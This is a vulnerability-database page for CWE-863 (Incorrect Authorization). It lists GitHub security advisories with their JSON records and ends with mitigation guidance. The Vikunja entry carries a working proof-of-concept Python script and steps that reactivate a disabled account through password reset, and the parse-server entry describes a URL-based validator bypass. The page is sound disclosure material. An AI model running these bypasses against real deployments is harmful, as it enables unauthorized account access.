Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5537 vulnerabilities reference this CWE, most recent first.

GHSA-VP6J-V4PC-C3Q6

Vulnerability from github – Published: 2022-10-10 19:00 – Updated: 2022-10-11 19:00
VLAI
Details

app/Controller/UsersController.php in MISP before 2.4.164 allows attackers to discover role names (this is information that only the site admin should have).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-42724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-10T05:15:00Z",
    "severity": "MODERATE"
  },
  "details": "app/Controller/UsersController.php in MISP before 2.4.164 allows attackers to discover role names (this is information that only the site admin should have).",
  "id": "GHSA-vp6j-v4pc-c3q6",
  "modified": "2022-10-11T19:00:27Z",
  "published": "2022-10-10T19:00:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42724"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/934b9cd4fc6d6378ad349ea630ad9f1319ac82f5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VP9W-43WR-G8FJ

Vulnerability from github – Published: 2023-05-26 18:30 – Updated: 2023-12-08 21:30
VLAI
Details

A vulnerability was found in the HCI sockets implementation due to a missing capability check in net/bluetooth/hci_sock.c in the Linux Kernel. This flaw allows an attacker to unauthorized execution of management commands, compromising the confidentiality, integrity, and availability of Bluetooth communication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-2002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-250",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-26T17:15:14Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in the HCI sockets implementation due to a missing capability check in net/bluetooth/hci_sock.c in the Linux Kernel. This flaw allows an attacker to unauthorized execution of management commands, compromising the confidentiality, integrity, and availability of Bluetooth communication.",
  "id": "GHSA-vp9w-43wr-g8fj",
  "modified": "2023-12-08T21:30:28Z",
  "published": "2023-05-26T18:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2002"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00030.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00027.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240202-0004"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5480"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2023/04/16/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VPFM-HVMV-875C

Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42
VLAI
Details

Insufficient access control in the firmware for the Intel(R) 722 Ethernet Controllers before version 1.5 may allow a privileged user to potentially enable a denial of service via local access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-24492"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-17T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient access control in the firmware for the Intel(R) 722 Ethernet Controllers before version 1.5 may allow a privileged user to potentially enable a denial of service via local access.",
  "id": "GHSA-vpfm-hvmv-875c",
  "modified": "2022-05-24T17:42:28Z",
  "published": "2022-05-24T17:42:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24492"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00456.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VPGC-2F6G-7W7X

Vulnerability from github – Published: 2026-03-25 21:57 – Updated: 2026-03-25 21:57
VLAI
Summary
n8n Has Authorization Bypass in OAuth Callback via N8N_SKIP_AUTH_ON_OAUTH_CALLBACK
Details

Impact

When the N8N_SKIP_AUTH_ON_OAUTH_CALLBACK environment variable is set to true, the OAuth callback handler skips ownership verification of the OAuth state parameter. This allows an attacker to trick a victim into completing an OAuth flow against a credential object the attacker controls, causing the victim's OAuth tokens to be stored in the attacker's credential. The attacker can then use those tokens to execute workflows in their name.

  • This issue only affects instances where N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true is explicitly configured (non-default).

Patches

The issue has been fixed in n8n version 2.8.0. Users should upgrade to this version or later to remediate the vulnerability.

Workarounds

If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Avoid enabling N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true unless strictly required. - Restrict access to the n8n instance to fully trusted users only.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:57:55Z",
    "nvd_published_at": "2026-03-25T19:16:50Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\nWhen the `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK` environment variable is set to `true`, the OAuth callback handler skips ownership verification of the OAuth state parameter. This allows an attacker to trick a victim into completing an OAuth flow against a credential object the attacker controls, causing the victim\u0027s OAuth tokens to be stored in the attacker\u0027s credential. The attacker can then use those tokens to execute workflows in their name.\n\n- This issue only affects instances where `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true` is explicitly configured (non-default).\n\n## Patches\nThe issue has been fixed in n8n version 2.8.0. Users should upgrade to this version or later to remediate the vulnerability.\n\n## Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Avoid enabling `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true` unless strictly required.\n- Restrict access to the n8n instance to fully trusted users only.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
  "id": "GHSA-vpgc-2f6g-7w7x",
  "modified": "2026-03-25T21:57:55Z",
  "published": "2026-03-25T21:57:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-vpgc-2f6g-7w7x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33720"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n Has Authorization Bypass in OAuth Callback via N8N_SKIP_AUTH_ON_OAUTH_CALLBACK"
}

GHSA-VPH4-5MF4-28V5

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2025-10-22 00:32
VLAI
Details

The vulnerability have been reported to affect earlier versions of QTS. If exploited, this improper access control vulnerability could allow attackers to obtain control of a QNAP device. This issue affects: QNAP Systems Inc. Helpdesk versions prior to 3.0.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-2506"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-03T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The vulnerability have been reported to affect earlier versions of QTS. If exploited, this improper access control vulnerability could allow attackers to obtain control of a QNAP device. This issue affects: QNAP Systems Inc. Helpdesk versions prior to 3.0.3.",
  "id": "GHSA-vph4-5mf4-28v5",
  "modified": "2025-10-22T00:32:02Z",
  "published": "2022-05-24T17:40:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2506"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-2506"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/zh-tw/security-advisory/qsa-20-08"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VPH4-QFCH-W6X9

Vulnerability from github – Published: 2022-08-11 00:00 – Updated: 2025-10-20 18:30
VLAI
Details

The SystemUI module has a privilege escalation vulnerability. Successful exploitation of this vulnerability can cause malicious applications to pop up windows or run in the background.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-37002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-10T20:16:00Z",
    "severity": "CRITICAL"
  },
  "details": "The SystemUI module has a privilege escalation vulnerability. Successful exploitation of this vulnerability can cause malicious applications to pop up windows or run in the background.",
  "id": "GHSA-vph4-qfch-w6x9",
  "modified": "2025-10-20T18:30:29Z",
  "published": "2022-08-11T00:00:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37002"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2022/8"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-phones-202208-0000001363876177"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VPJ2-QQ7W-5QQ6

Vulnerability from github – Published: 2026-03-31 23:48 – Updated: 2026-03-31 23:48
VLAI
Summary
parse-server has cloud function validator bypass via prototype chain traversal
Details

Impact

An attacker can bypass Cloud Function validator access controls by appending .prototype.constructor to the function name in the URL. When a Cloud Function handler is declared using the function keyword and its validator is a plain object or arrow function, the trigger store traversal resolves the handler through its own prototype chain while the validator store fails to mirror this traversal, causing all access control enforcement to be skipped.

This allows unauthenticated callers to invoke Cloud Functions that are meant to be protected by validators such as requireUser, requireMaster, or custom validation logic.

Patches

The trigger store traversal now verifies that each intermediate node is a legitimate store object before continuing traversal. If the traversal encounters a non-store value such as a function handler, it stops and returns an empty store, preventing prototype chain escape.

Workarounds

Use arrow functions instead of the function keyword for Cloud Function handlers. Arrow functions do not have a prototype property and are not affected by this vulnerability.

Resources

  • GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-vpj2-qq7w-5qq6
  • Fix Parse Server 9: https://github.com/parse-community/parse-server/pull/10342
  • Fix Parse Server 8: https://github.com/parse-community/parse-server/pull/10343
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.7.0-alpha.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.6.67"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:48:38Z",
    "nvd_published_at": "2026-03-31T15:16:20Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nAn attacker can bypass Cloud Function validator access controls by appending `.prototype.constructor` to the function name in the URL. When a Cloud Function handler is declared using the `function` keyword and its validator is a plain object or arrow function, the trigger store traversal resolves the handler through its own prototype chain while the validator store fails to mirror this traversal, causing all access control enforcement to be skipped.\n\nThis allows unauthenticated callers to invoke Cloud Functions that are meant to be protected by validators such as `requireUser`, `requireMaster`, or custom validation logic.\n\n### Patches\n\nThe trigger store traversal now verifies that each intermediate node is a legitimate store object before continuing traversal. If the traversal encounters a non-store value such as a function handler, it stops and returns an empty store, preventing prototype chain escape.\n\n### Workarounds\n\nUse arrow functions instead of the `function` keyword for Cloud Function handlers. Arrow functions do not have a `prototype` property and are not affected by this vulnerability.\n\n### Resources\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-vpj2-qq7w-5qq6\n- Fix Parse Server 9: https://github.com/parse-community/parse-server/pull/10342\n- Fix Parse Server 8: https://github.com/parse-community/parse-server/pull/10343",
  "id": "GHSA-vpj2-qq7w-5qq6",
  "modified": "2026-03-31T23:48:38Z",
  "published": "2026-03-31T23:48:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-vpj2-qq7w-5qq6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34532"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/10342"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/10343"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/commit/4fc48cf28f22eea200d74d883505f485234a48d7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/commit/dc59e272665644083c5b7f6862d88ce1ef0b2674"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "parse-server has cloud function validator bypass via prototype chain traversal"
}

GHSA-VQ3H-P7J6-HWJW

Vulnerability from github – Published: 2023-04-28 12:30 – Updated: 2024-04-04 03:43
VLAI
Details

This vulnerability exists in Milesight 4K/H.265 Series NVR models (MS-Nxxxx-xxG, MS-Nxxxx-xxE, MS-Nxxxx-xxT, MS-Nxxxx-xxH and MS-Nxxxx-xxC), due to improper authorization at the Milesight NVR web-based management interface. A remote attacker could exploit this vulnerability by sending a specially crafted http requests on the targeted device.

Successful exploitation of this vulnerability could allow remote attacker to perform unauthorized activities on the targeted device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-30467"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-28T11:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "This vulnerability exists in Milesight 4K/H.265 Series NVR models (MS-Nxxxx-xxG, MS-Nxxxx-xxE, MS-Nxxxx-xxT, MS-Nxxxx-xxH and MS-Nxxxx-xxC), due to improper authorization at the Milesight NVR web-based management interface. A remote attacker could exploit this vulnerability by sending a specially crafted http requests on the targeted device.\n\nSuccessful exploitation of this vulnerability could allow remote attacker to perform unauthorized activities on the targeted device.\n\n\n\n\n\n\n\n\n\n\n",
  "id": "GHSA-vq3h-p7j6-hwjw",
  "modified": "2024-04-04T03:43:26Z",
  "published": "2023-04-28T12:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30467"
    },
    {
      "type": "WEB",
      "url": "https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01\u0026VLCODE=CIVN-2023-0121"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VQ3R-VCHR-9X6P

Vulnerability from github – Published: 2025-07-30 00:32 – Updated: 2025-11-03 21:34
VLAI
Details

An authorization issue was addressed with improved state management. This issue is fixed in macOS Sequoia 15.6. A local attacker may gain access to Keychain items.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-43251"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-30T00:15:36Z",
    "severity": "MODERATE"
  },
  "details": "An authorization issue was addressed with improved state management. This issue is fixed in macOS Sequoia 15.6. A local attacker may gain access to Keychain items.",
  "id": "GHSA-vq3r-vchr-9x6p",
  "modified": "2025-11-03T21:34:16Z",
  "published": "2025-07-30T00:32:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43251"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/124149"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Jul/32"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VQ4Q-79HH-Q767

Vulnerability from github – Published: 2026-03-20 17:25 – Updated: 2026-03-25 20:53
VLAI
Summary
Vikunja’s Improper Access Control Enables Bypass of Administrator-Imposed Account Disablement
Details

Summary

A flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The ResetPassword() function sets the user’s status to StatusActive after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through /api/v1/user/password/token and completing the reset via /api/v1/user/password/reset, a disabled user can reactivate their account and bypass administrator-imposed account disablement.

Vulnerable Code Snippet

In pkg/user/user_password_reset.go, beginning at line 66:

    // Hash the password
    user.Password, err = HashPassword(reset.NewPassword)
    if err != nil {
        return
    }

    err = removeTokens(s, user, TokenPasswordReset)
    if err != nil {
        return
    }

    user.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active
    _, err = s.
        Cols("password", "status").
        Where("id = ?", user.ID).
        Update(user)
    if err != nil {
        return
    }

The code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an "Email Confirmation Required" state into an "Active" state. It completely ignores whether the user was placed in the StatusDisabled state by an administrator. Additionally, in the token request function (RequestUserPasswordResetTokenByEmail), the system fetches the user via GetUserWithEmail() which does not filter out disabled users, allowing them to legally request the token in the first place.

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a standard user account in Vikunja.
  2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (status = 2).
  3. Attempt to log in as the disabled user to verify access is blocked (receives HTTP 412: This account is disabled).
  4. Without authenticating, send a POST request to /api/v1/user/password/token with the disabled user's email address.
  5. Retrieve the password reset token from the incoming email.
  6. Send a POST request to /api/v1/user/password/reset with the token and a new password.
  7. Log in using the new password. Observe that the login succeeds (HTTP 200) and the account has been maliciously reactivated.

Automation PoC

import requests
import psycopg2
import time
import secrets

API_URL = "http://localhost:3456/api/v1"

def main():
    username = f"testuser_{secrets.token_hex(4)}"
    email = f"{username}@example.com"
    password = "SuperSecretPassword123!"

    print("[1] Registering user...")
    requests.post(f"{API_URL}/register", json={"username": username, "email": email, "password": password})

    print("[2] Admin disables account (Status = 2)...")
    conn = psycopg2.connect(host="localhost", database="vikunja", user="vikunja", password="vikunja_password")
    cursor = conn.cursor()
    cursor.execute("UPDATE users SET status = 2 WHERE username = %s;", (username,))
    conn.commit()

    print("[3] Verifying login is blocked...")
    res = requests.post(f"{API_URL}/login", json={"username": username, "password": password})
    print(f"Login response: {res.status_code} (Should be 412)")

    print("[4] Attacker requests password reset...")
    requests.post(f"{API_URL}/user/password/token", json={"email": email})

    print("[5] Attacker grabs token from email/DB...")
    cursor.execute("SELECT id FROM users WHERE username = %s;", (username,))
    user_id = cursor.fetchone()[0]
    cursor.execute("SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;", (user_id,))
    token = cursor.fetchone()[0]

    print("[6] Attacker submits reset, triggering bug...")
    new_password = "HackedPassword123!"
    requests.post(f"{API_URL}/user/password/reset", json={"token": token, "new_password": new_password})

    print("[7] Attacker logs in successfully!")
    res = requests.post(f"{API_URL}/login", json={"username": username, "password": new_password})
    print(f"Final Login response: {res.status_code} (Should be 200)")

    cursor.execute("SELECT status FROM users WHERE username = %s;", (username,))
    print(f"Final DB Status: {cursor.fetchone()[0]} (0 = Active)")
    conn.close()

if __name__ == "__main__":
    main()

Impact

  • Authentication & Authorization Bypass: An attacker can unilaterally reverse an administrative security decision.
  • Integrity & Confidentiality Impact: The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T17:25:47Z",
    "nvd_published_at": "2026-03-24T15:16:35Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA flaw in Vikunja\u2019s password reset logic allows disabled users to regain access to their accounts. The `ResetPassword()` function sets the user\u2019s status to `StatusActive` after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through `/api/v1/user/password/token` and completing the reset via `/api/v1/user/password/reset`, a disabled user can reactivate their account and bypass administrator-imposed account disablement.\n\n#### Vulnerable Code Snippet\n\nIn `pkg/user/user_password_reset.go`, beginning at line 66:\n\n```go\n\t// Hash the password\n\tuser.Password, err = HashPassword(reset.NewPassword)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = removeTokens(s, user, TokenPasswordReset)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tuser.Status = StatusActive // \u003c--- VULNERABILITY: Unconditionally sets status to Active\n\t_, err = s.\n\t\tCols(\"password\", \"status\").\n\t\tWhere(\"id = ?\", user.ID).\n\t\tUpdate(user)\n\tif err != nil {\n\t\treturn\n\t}\n```\n\nThe code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an \"Email Confirmation Required\" state into an \"Active\" state. It completely ignores whether the user was placed in the `StatusDisabled` state by an administrator.\nAdditionally, in the token request function (`RequestUserPasswordResetTokenByEmail`), the system fetches the user via `GetUserWithEmail()` which does **not** filter out disabled users, allowing them to legally request the token in the first place.\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a standard user account in Vikunja.\n2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (`status = 2`).\n3. Attempt to log in as the disabled user to verify access is blocked (receives `HTTP 412: This account is disabled`).\n4. Without authenticating, send a `POST` request to `/api/v1/user/password/token` with the disabled user\u0027s email address.\n5. Retrieve the password reset token from the incoming email.\n6. Send a `POST` request to `/api/v1/user/password/reset` with the token and a new password.\n7. Log in using the new password. Observe that the login succeeds (`HTTP 200`) and the account has been maliciously reactivated.\n\n#### Automation PoC\n\n```python\nimport requests\nimport psycopg2\nimport time\nimport secrets\n\nAPI_URL = \"http://localhost:3456/api/v1\"\n\ndef main():\n    username = f\"testuser_{secrets.token_hex(4)}\"\n    email = f\"{username}@example.com\"\n    password = \"SuperSecretPassword123!\"\n    \n    print(\"[1] Registering user...\")\n    requests.post(f\"{API_URL}/register\", json={\"username\": username, \"email\": email, \"password\": password})\n    \n    print(\"[2] Admin disables account (Status = 2)...\")\n    conn = psycopg2.connect(host=\"localhost\", database=\"vikunja\", user=\"vikunja\", password=\"vikunja_password\")\n    cursor = conn.cursor()\n    cursor.execute(\"UPDATE users SET status = 2 WHERE username = %s;\", (username,))\n    conn.commit()\n    \n    print(\"[3] Verifying login is blocked...\")\n    res = requests.post(f\"{API_URL}/login\", json={\"username\": username, \"password\": password})\n    print(f\"Login response: {res.status_code} (Should be 412)\")\n    \n    print(\"[4] Attacker requests password reset...\")\n    requests.post(f\"{API_URL}/user/password/token\", json={\"email\": email})\n    \n    print(\"[5] Attacker grabs token from email/DB...\")\n    cursor.execute(\"SELECT id FROM users WHERE username = %s;\", (username,))\n    user_id = cursor.fetchone()[0]\n    cursor.execute(\"SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;\", (user_id,))\n    token = cursor.fetchone()[0]\n    \n    print(\"[6] Attacker submits reset, triggering bug...\")\n    new_password = \"HackedPassword123!\"\n    requests.post(f\"{API_URL}/user/password/reset\", json={\"token\": token, \"new_password\": new_password})\n    \n    print(\"[7] Attacker logs in successfully!\")\n    res = requests.post(f\"{API_URL}/login\", json={\"username\": username, \"password\": new_password})\n    print(f\"Final Login response: {res.status_code} (Should be 200)\")\n\n    cursor.execute(\"SELECT status FROM users WHERE username = %s;\", (username,))\n    print(f\"Final DB Status: {cursor.fetchone()[0]} (0 = Active)\")\n    conn.close()\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n\n* **Authentication \u0026 Authorization Bypass:** An attacker can unilaterally reverse an administrative security decision.\n* **Integrity \u0026 Confidentiality Impact:**  The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.",
  "id": "GHSA-vq4q-79hh-q767",
  "modified": "2026-03-25T20:53:32Z",
  "published": "2026-03-20T17:25:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-vq4q-79hh-q767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33316"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/049f4a6be46f9460bd516f489ef9f569574bc70d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/d8570c603da1f26635ce6048d6af85ede827abfb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja\u2019s Improper Access Control Enables Bypass of Administrator-Imposed Account Disablement "
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.